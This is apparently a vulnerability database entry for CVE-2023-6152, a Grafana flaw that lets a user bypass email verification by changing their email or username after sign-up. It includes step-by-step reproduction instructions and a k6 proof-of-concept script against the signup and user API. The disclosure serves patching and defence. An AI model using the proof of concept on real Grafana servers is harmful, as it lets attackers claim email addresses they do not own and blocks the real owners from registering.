CVE-2023-6152: Email Validation Bypass And Preventing Sign Up From Email's Owner
Summary Email validation can easily be bypassed because verifyemailenabled option enable email validation at sign up only. A user changing it's email after signing up (and verifying it) can change it without verification in /profile. This can be used to prevent legitimate owner of the email address from signing up.
Published Feb 13, 2024 · Updated Feb 18, 2025
Affected packages
github.com/grafana/grafana
- Ecosystem
- Go
- Affected
- >= 2.5.0, < 9.5.16
- Fixed in
- 9.5.16
- Check
go list -m github.com/grafana/grafana
github.com/grafana/grafana
- Ecosystem
- Go
- Affected
- >= 10.0.0, < 10.0.11
- Fixed in
- 10.0.11
- Check
go list -m github.com/grafana/grafana
github.com/grafana/grafana
- Ecosystem
- Go
- Affected
- >= 10.1.0, < 10.1.7
- Fixed in
- 10.1.7
- Check
go list -m github.com/grafana/grafana
github.com/grafana/grafana
- Ecosystem
- Go
- Affected
- >= 10.2.0, < 10.2.4
- Fixed in
- 10.2.4
- Check
go list -m github.com/grafana/grafana
github.com/grafana/grafana
- Ecosystem
- Go
- Affected
- >= 10.3.0, < 10.3.3
- Fixed in
- 10.3.3
- Check
go list -m github.com/grafana/grafana
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Email validation can easily be bypassed because verify_email_enabled option enable email validation at sign up only. A user changing it's email after signing up (and verifying it) can change it without verification in /profile. This can be used to prevent legitimate owner of the email address from signing up.
Another way to prevent email's owner from signing up is by setting Username as an email: When a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.
https://user-images.githubusercontent.com/44581623/282073913-c1a8c20b-b6c3-46eb-840c-9e0dae718a2a.png
Here user a prevents owner of [email protected] to signup.
Details
I don't know exact location but this is related to PUT /api/user handler.
PoC
Bypass email validation:
- Start a new grafana instance using latest version
- Sign up with email foo@example.
- Login to that account.
- Go to profile and change email to [email protected]
- That's it, your using an email you don't own.
Prevent email's owner from signing up:
- Start a new grafana instance using latest version
- Sign up with email foo@example.
- Login to that account.
- Go to profile and change username (not email) to [[email protected]](mailto:[email protected])
- Signout.
- Try to sign up with email [[email protected]](mailto:[email protected])
- Warning popup "User with same email address already exists"
K6 script (with verify_email_enabled set to false):
import { check, group } from "k6"
import http from "k6/http"
export const options = {
scenarios: {
perVuIter: {
executor: 'per-vu-iterations',
vus: 1,
iterations: 1
}
}
}
const GRAFANA_URL = __ENV.GRAFANA_URL || "http://localhost:3000"
export default function () {
group("create user_a with email [email protected]", () => {
const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
"email": "[email protected]",
"password": "password"
}), {
headers: {
'Content-Type': "application/json"
}
})
check(response, {
'status code is 200': (r) => r.status == 200
})
})
group("change user_a login to [email protected]", () => {
const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({
"email": "[email protected]",
"login": "[email protected]", // user_b email.
}), {
headers: {
'Content-Type': "application/json"
}
})
check(response, {
'status code is 200': (r) => r.status == 200
})
})
http.cookieJar().clear(GRAFANA_URL)
group("create user_b with email [email protected]", () => {
const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
"email": "[email protected]",
"username": "[email protected]",
"password": "password"
}), {
headers: {
'Content-Type': "application/json"
}
})
check(response, {
'status code is 200': (r) => r.status == 200 // fail
})
})
}Impact
Bypass email verification. Prevent legitimate owner from signing up.
Credited to negrel.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-10601
Grafana: Path traversal in the Tempo and Loki data source plugins
medium5.4No fixJun 22, 2026CVE-2026-42127
Grafana: Pre-authentication denial of service in the public dashboard query handler
high7.5No fixJun 22, 2026CVE-2026-42129
Grafana Loki datasource plugin's callResource handler contains a path traversal vulnerability.
high7.7No fixJun 22, 2026CVE-2026-9029
Grafana geomap panel's XYZ tile layer has a sanitize-then-interpolate ordering bug
high7.3No fixJun 22, 2026CVE-2026-33380
Grafana: SQL Expressions Read File From Disk
medium6.3May 13, 2026CVE-2026-33381
Grafana: Users can generate Service Account tokens after permissions removal
medium5.9May 13, 2026
